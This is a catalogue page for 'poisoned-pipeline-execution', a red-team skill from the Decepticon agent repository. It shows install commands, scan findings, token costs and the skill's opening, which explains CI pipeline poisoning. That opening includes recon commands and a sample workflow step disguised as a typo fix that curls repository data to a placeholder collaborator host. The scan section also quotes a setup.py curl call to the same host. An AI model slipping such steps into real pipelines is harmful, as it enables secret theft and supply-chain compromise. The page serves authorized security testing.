Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill poisoned-pipeline-executiongit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution)<a href="https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/poisoned-pipeline-execution/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/poisoned-pipeline-execution.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 66 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00071 | $0.02022 |
| Opus 5 | $0.00036 | $0.01011 |
| Sonnet 5 | $0.00014 | $0.00404 |
| Haiku 4.5 | $0.00007 | $0.00202 |
Grade A, and why
poisoned-pipeline-execution scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \ Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
import os; os.system("curl -s https://<COLLAB>/setuppy") How it starts
The opening of the file, as written. The whole thing — 191 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml,.gitlab-ci.yml,Jenkinsfile) in a PR/branch the CI runs. - Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (
Makefile,build.gradle,pom.xml), package-manager scripts (package.jsonscripts,setup.py), lint/test hooks (Dangerfile,.pre-commit-config.yaml,tox.ini,pyproject.toml[tool.poetry.scripts]), or any filemake testends up sourcing.
Recon — does the target build untrusted code?
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
Direct PPE — edit the workflow itself
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 191 lines · 71 tokens per session scan A d53273aceb43
poisoned-pipeline-execution is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 71 tokens to every session and 2,022 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
turborepo
Turborepo monorepo build system guidance. Triggers on: turbo.json, task pipelines, dependsOn, caching, remote cache, the "turbo" CLI, --filter, --affected, CI optimization, environment variables, internal packages, monorepo structure/best practices, and boundaries. Use when user: configures tasks/workflows/pipelines…
deployment-pipeline-design
Design multi-stage CI/CD pipelines with approval gates, security checks, and deployment orchestration. Use when architecting deployment workflows, setting up continuous delivery, or implementing GitOps practices.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
meta-long-running-build-watchdog
Watches a long-running command via tmux, lets sub-agent diagnose failures and propose a fix, and records the diagnosis to memory. Designed for overnight model fine-tunes, CI image builds, or repeated regression suites that may fail intermittently.
deploying-to-staging-environment
Use when deploying changes to staging across relay, relay-dashboard, and relay-cloud repos - coordinates multi-repo branch syncing using git worktrees, automatically triggers staging deployments via GitHub Actions.